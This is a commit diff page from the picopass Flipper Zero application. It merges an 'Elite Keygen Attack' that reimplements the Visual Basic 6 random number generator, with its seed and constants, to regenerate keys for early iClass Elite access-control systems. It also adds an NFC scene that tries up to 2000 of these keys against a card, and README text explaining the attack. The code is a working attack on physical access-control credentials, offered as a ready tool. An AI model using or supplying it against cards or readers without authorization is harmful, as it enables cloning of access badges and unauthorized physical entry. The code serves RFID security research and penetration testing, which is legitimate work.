Преглед изворни кода

Merge branch 'elite_keygen' into 'main'

Elite keygen (VB6 RNG)

See merge request bettse/picopass!2
Eric Betts пре 1 година
родитељ
комит
f327e1a7a0

+ 6 - 0
.catalog/README.md

@@ -64,3 +64,9 @@ Due to the nature of how secure picopass works, it is possible to emulate some p
 3. Card will authenticate and read
 4. Suggested to both "Save" the card and "Save as Seader"
 
+
+# Elite Keygen Attack
+
+Background: https://youtu.be/MKSXSKQHz6o?si=DEKkW60x858pUI0a&t=600
+
+The keys used for early Elite systems used the VB6 (yes, as in Visual Basic) RNG to generate the keys.  This attack uses the known VB6 RNG to generate the keys.  This attack is only useful for early Elite systems, as later systems are keyed in some other manor.  Since this can generate an insanely large number of values (and eventually loop), by default it is limited to the first 2000 keys.  Please provide feedback if you would like this increased.  Also, the leaked iCopyX dictionary included 700ish of these, so the first 700 are redundant to the System Elite Dictionary attack run during "Read".  This attack is not useful for iClass SE systems.

+ 60 - 0
picopass_elite_keygen.c

@@ -0,0 +1,60 @@
+#include "picopass_elite_keygen.h"
+
+/* Based on https://youtu.be/MKSXSKQHz6o?si=DEKkW60x858pUI0a&t=600 */
+
+#define INITIAL_SEED 0x429080
+
+uint32_t seed = INITIAL_SEED;
+uint8_t key_state[8];
+bool prepared = false;
+
+void picopass_elite_reset() {
+    memset(key_state, 0, sizeof(key_state));
+    seed = INITIAL_SEED;
+    prepared = false;
+}
+
+uint32_t picopass_elite_lcg() {
+    uint32_t mod = 0x1000000; // 2^24,
+    uint32_t a = 0xFD43FD;
+    uint32_t c = 0xC39EC3;
+
+    return (a * seed + c) % mod;
+}
+
+uint32_t picopass_elite_rng() {
+    seed = picopass_elite_lcg();
+    return seed;
+}
+
+uint8_t picopass_elite_nextByte() {
+    return (picopass_elite_rng() >> 16) & 0xFF;
+}
+
+void picopass_elite_nextKey(uint8_t* key) {
+    if(prepared) {
+        for(size_t i = 0; i < 7; i++) {
+            key_state[i] = key_state[i + 1];
+        }
+        key_state[7] = picopass_elite_nextByte();
+    } else {
+        for(size_t i = 0; i < 8; i++) {
+            key_state[i] = picopass_elite_nextByte();
+        }
+        prepared = true;
+    }
+    memcpy(key, key_state, 8);
+}
+
+/*
+int main() {
+    size_t limit = 700;
+
+    for (size_t i = 0; i < limit; i++) {
+        nextKey();
+        printKey(key);
+        // printf("%04lx: %08x\n", i, nextByte());
+    }
+    return 0;
+}
+*/

+ 10 - 0
picopass_elite_keygen.h

@@ -0,0 +1,10 @@
+#pragma once
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <string.h>
+
+void picopass_elite_nextKey(uint8_t* key);
+void picopass_elite_reset();

+ 1 - 0
scenes/picopass_scene_config.h

@@ -23,3 +23,4 @@ ADD_SCENE(picopass, nr_mac_saved, NrMacSaved)
 ADD_SCENE(picopass, more_info, MoreInfo)
 ADD_SCENE(picopass, formats, Formats)
 ADD_SCENE(picopass, acknowledgements, Acknowledgements)
+ADD_SCENE(picopass, elite_keygen_attack, EliteKeygenAttack)

+ 145 - 0
scenes/picopass_scene_elite_keygen_attack.c

@@ -0,0 +1,145 @@
+#include "../picopass_i.h"
+#include <dolphin/dolphin.h>
+#include "../picopass_elite_keygen.h"
+
+#define PICOPASS_SCENE_DICT_ATTACK_KEYS_BATCH_UPDATE (10)
+#define PICOPASS_SCENE_ELITE_KEYGEN_ATTACK_LIMIT (2000)
+
+NfcCommand picopass_elite_keygen_attack_worker_callback(PicopassPollerEvent event, void* context) {
+    furi_assert(context);
+    NfcCommand command = NfcCommandContinue;
+
+    Picopass* picopass = context;
+
+    if(event.type == PicopassPollerEventTypeRequestMode) {
+        event.data->req_mode.mode = PicopassPollerModeRead;
+    } else if(event.type == PicopassPollerEventTypeRequestKey) {
+        uint8_t key[PICOPASS_KEY_LEN] = {};
+        bool is_key_provided = false;
+        if(picopass->dict_attack_ctx.current_key < PICOPASS_SCENE_ELITE_KEYGEN_ATTACK_LIMIT) {
+            picopass_elite_nextKey(key);
+            is_key_provided = true;
+        }
+
+        memcpy(event.data->req_key.key, key, PICOPASS_KEY_LEN);
+        event.data->req_key.is_elite_key = true;
+        event.data->req_key.is_key_provided = is_key_provided;
+        if(is_key_provided) {
+            picopass->dict_attack_ctx.current_key++;
+            if(picopass->dict_attack_ctx.current_key %
+                   PICOPASS_SCENE_DICT_ATTACK_KEYS_BATCH_UPDATE ==
+               0) {
+                view_dispatcher_send_custom_event(
+                    picopass->view_dispatcher, PicopassCustomEventDictAttackUpdateView);
+            }
+        }
+    } else if(
+        event.type == PicopassPollerEventTypeSuccess ||
+        event.type == PicopassPollerEventTypeFail ||
+        event.type == PicopassPollerEventTypeAuthFail) {
+        const PicopassDeviceData* data = picopass_poller_get_data(picopass->poller);
+        memcpy(&picopass->dev->dev_data, data, sizeof(PicopassDeviceData));
+        view_dispatcher_send_custom_event(
+            picopass->view_dispatcher, PicopassCustomEventPollerSuccess);
+    } else if(event.type == PicopassPollerEventTypeCardLost) {
+        picopass->dict_attack_ctx.card_detected = false;
+        view_dispatcher_send_custom_event(
+            picopass->view_dispatcher, PicopassCustomEventDictAttackUpdateView);
+    } else if(event.type == PicopassPollerEventTypeCardDetected) {
+        picopass->dict_attack_ctx.card_detected = true;
+        view_dispatcher_send_custom_event(
+            picopass->view_dispatcher, PicopassCustomEventDictAttackUpdateView);
+    }
+
+    return command;
+}
+
+static void picopass_scene_elite_keygen_attack_update_view(Picopass* instance) {
+    if(instance->dict_attack_ctx.card_detected) {
+        dict_attack_set_card_detected(instance->dict_attack);
+        dict_attack_set_header(instance->dict_attack, instance->dict_attack_ctx.name);
+        dict_attack_set_total_dict_keys(
+            instance->dict_attack, PICOPASS_SCENE_ELITE_KEYGEN_ATTACK_LIMIT);
+        dict_attack_set_current_dict_key(
+            instance->dict_attack, instance->dict_attack_ctx.current_key);
+    } else {
+        dict_attack_set_card_removed(instance->dict_attack);
+    }
+}
+
+static void picopass_scene_elite_keygen_attack_callback(void* context) {
+    Picopass* instance = context;
+
+    view_dispatcher_send_custom_event(
+        instance->view_dispatcher, PicopassCustomEventDictAttackSkip);
+}
+
+void picopass_scene_elite_keygen_attack_on_enter(void* context) {
+    Picopass* picopass = context;
+    dolphin_deed(DolphinDeedNfcRead);
+
+    // Setup dict attack context
+    uint32_t state = PicopassSceneEliteKeygenAttack;
+
+    picopass->dict = keys_dict_alloc(
+        PICOPASS_ICLASS_STANDARD_DICT_FLIPPER_NAME, KeysDictModeOpenExisting, PICOPASS_KEY_LEN);
+
+    dict_attack_reset(picopass->dict_attack);
+    picopass->dict_attack_ctx.card_detected = false;
+    picopass->dict_attack_ctx.total_keys = PICOPASS_SCENE_ELITE_KEYGEN_ATTACK_LIMIT;
+    picopass->dict_attack_ctx.current_key = 0;
+    picopass->dict_attack_ctx.name = "Elite Keygen Attack";
+    scene_manager_set_scene_state(picopass->scene_manager, PicopassSceneEliteKeygenAttack, state);
+
+    // Setup view
+    picopass_scene_elite_keygen_attack_update_view(picopass);
+    dict_attack_set_callback(
+        picopass->dict_attack, picopass_scene_elite_keygen_attack_callback, picopass);
+
+    // Start worker
+    picopass->poller = picopass_poller_alloc(picopass->nfc);
+    picopass_poller_start(
+        picopass->poller, picopass_elite_keygen_attack_worker_callback, picopass);
+
+    view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewDictAttack);
+    picopass_blink_start(picopass);
+}
+
+bool picopass_scene_elite_keygen_attack_on_event(void* context, SceneManagerEvent event) {
+    Picopass* picopass = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == PicopassCustomEventPollerSuccess) {
+            scene_manager_next_scene(picopass->scene_manager, PicopassSceneReadCardSuccess);
+            consumed = true;
+        } else if(event.event == PicopassCustomEventDictAttackUpdateView) {
+            picopass_scene_elite_keygen_attack_update_view(picopass);
+            consumed = true;
+        } else if(event.event == PicopassCustomEventDictAttackSkip) {
+            scene_manager_next_scene(picopass->scene_manager, PicopassSceneReadCardSuccess);
+            consumed = true;
+        }
+    }
+    return consumed;
+}
+
+void picopass_scene_elite_keygen_attack_on_exit(void* context) {
+    Picopass* picopass = context;
+
+    if(picopass->dict) {
+        keys_dict_free(picopass->dict);
+        picopass->dict = NULL;
+    }
+    picopass->dict_attack_ctx.current_key = 0;
+    picopass->dict_attack_ctx.total_keys = 0;
+    picopass_elite_reset();
+
+    picopass_poller_stop(picopass->poller);
+    picopass_poller_free(picopass->poller);
+
+    // Clear view
+    popup_reset(picopass->popup);
+
+    picopass_blink_stop(picopass);
+}

+ 12 - 0
scenes/picopass_scene_start.c

@@ -4,6 +4,7 @@ enum SubmenuIndex {
     SubmenuIndexSaved,
     SubmenuIndexLoclass,
     SubmenuIndexAcknowledgements,
+    SubmenuIndexKeygenAttack,
 };
 
 void picopass_scene_start_submenu_callback(void* context, uint32_t index) {
@@ -26,6 +27,12 @@ void picopass_scene_start_on_enter(void* context) {
         SubmenuIndexAcknowledgements,
         picopass_scene_start_submenu_callback,
         picopass);
+    submenu_add_item(
+        submenu,
+        "Elite Keygen Attack",
+        SubmenuIndexKeygenAttack,
+        picopass_scene_start_submenu_callback,
+        picopass);
 
     submenu_set_selected_item(
         submenu, scene_manager_get_scene_state(picopass->scene_manager, PicopassSceneStart));
@@ -60,6 +67,11 @@ bool picopass_scene_start_on_event(void* context, SceneManagerEvent event) {
                 picopass->scene_manager, PicopassSceneStart, PicopassSceneAcknowledgements);
             scene_manager_next_scene(picopass->scene_manager, PicopassSceneAcknowledgements);
             consumed = true;
+        } else if(event.event == SubmenuIndexKeygenAttack) {
+            scene_manager_set_scene_state(
+                picopass->scene_manager, PicopassSceneStart, SubmenuIndexKeygenAttack);
+            scene_manager_next_scene(picopass->scene_manager, PicopassSceneEliteKeygenAttack);
+            consumed = true;
         }
     }